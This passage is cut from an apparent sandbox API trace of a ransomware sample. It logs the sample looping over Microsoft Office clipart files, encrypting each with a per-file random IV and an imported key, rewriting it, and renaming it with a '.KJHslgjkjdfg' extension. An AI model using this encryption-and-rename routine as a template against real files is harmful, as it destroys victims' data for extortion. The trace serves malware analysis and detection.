hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.724] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1fd0, lpOverlapped=0x0) returned 1 [0218.724] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.724] SetEndOfFile (hFile=0x130) returned 1 [0218.727] GetProcessHeap () returned 0x2ef0000 [0218.727] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.727] GetProcessHeap () returned 0x2ef0000 [0218.727] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.kjhslgjkjdfg")) returned 1 [0218.729] CloseHandle (hObject=0x130) returned 1 [0218.729] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8378b700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8378b700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x75e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02262_.WMF", cAlternateFileName="")) returned 1 [0218.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.730] GetProcessHeap () returned 0x2ef0000 [0218.730] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.731] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.731] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0218.733] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.733] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.733] GetProcessHeap () returned 0x2ef0000 [0218.733] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.733] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.733] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.733] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.733] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.733] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.734] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.734] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.734] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.734] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.734] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x75e2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x75e2, lpOverlapped=0x0) returned 1 [0218.735] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x75f0, dwBufLen=0x75f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x75f0) returned 1 [0218.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.736] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x75f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x75f0, lpOverlapped=0x0) returned 1 [0218.736] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x76c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.736] SetEndOfFile (hFile=0x130) returned 1 [0218.739] GetProcessHeap () returned 0x2ef0000 [0218.739] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.739] GetProcessHeap () returned 0x2ef0000 [0218.739] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.kjhslgjkjdfg")) returned 1 [0218.740] CloseHandle (hObject=0x130) returned 1 [0218.741] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x824e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02263_.WMF", cAlternateFileName="")) returned 1 [0218.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.742] GetProcessHeap () returned 0x2ef0000 [0218.742] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.742] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.742] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0218.744] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.744] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.744] GetProcessHeap () returned 0x2ef0000 [0218.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.745] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.745] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.745] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.745] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.745] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.745] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.745] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.745] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.745] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.745] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x824e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x824e, lpOverlapped=0x0) returned 1 [0218.747] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8250, dwBufLen=0x8250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8250) returned 1 [0218.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.748] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8250, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8250, lpOverlapped=0x0) returned 1 [0218.748] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.748] SetEndOfFile (hFile=0x130) returned 1 [0218.751] GetProcessHeap () returned 0x2ef0000 [0218.751] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.751] GetProcessHeap () returned 0x2ef0000 [0218.751] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.kjhslgjkjdfg")) returned 1 [0218.753] CloseHandle (hObject=0x130) returned 1 [0218.753] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa753f100, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa753f100, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x62b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02265_.WMF", cAlternateFileName="")) returned 1 [0218.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.754] GetProcessHeap () returned 0x2ef0000 [0218.754] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.754] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.754] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0218.757] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.757] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.757] GetProcessHeap () returned 0x2ef0000 [0218.757] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.757] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.757] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.757] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.758] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.758] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.758] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.758] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x62b2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x62b2, lpOverlapped=0x0) returned 1 [0218.770] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x62c0) returned 1 [0218.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.770] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x62c0, lpOverlapped=0x0) returned 1 [0218.771] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.771] SetEndOfFile (hFile=0x130) returned 1 [0218.774] GetProcessHeap () returned 0x2ef0000 [0218.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.775] GetProcessHeap () returned 0x2ef0000 [0218.775] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.kjhslgjkjdfg")) returned 1 [0218.777] CloseHandle (hObject=0x130) returned 1 [0218.777] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f02900, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3f02900, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x78e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02267_.WMF", cAlternateFileName="")) returned 1 [0218.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.779] GetProcessHeap () returned 0x2ef0000 [0218.779] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.779] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.780] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.780] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.780] GetProcessHeap () returned 0x2ef0000 [0218.780] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.780] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.780] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.791] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.791] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.791] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.792] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.792] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.792] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.792] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x78e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x78e0, lpOverlapped=0x0) returned 1 [0218.793] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x78e0, dwBufLen=0x78e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x78e0) returned 1 [0218.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.794] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x78e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x78e0, lpOverlapped=0x0) returned 1 [0218.794] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x79b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.794] SetEndOfFile (hFile=0x130) returned 1 [0218.797] GetProcessHeap () returned 0x2ef0000 [0218.797] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.797] GetProcessHeap () returned 0x2ef0000 [0218.797] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="C:\\Program 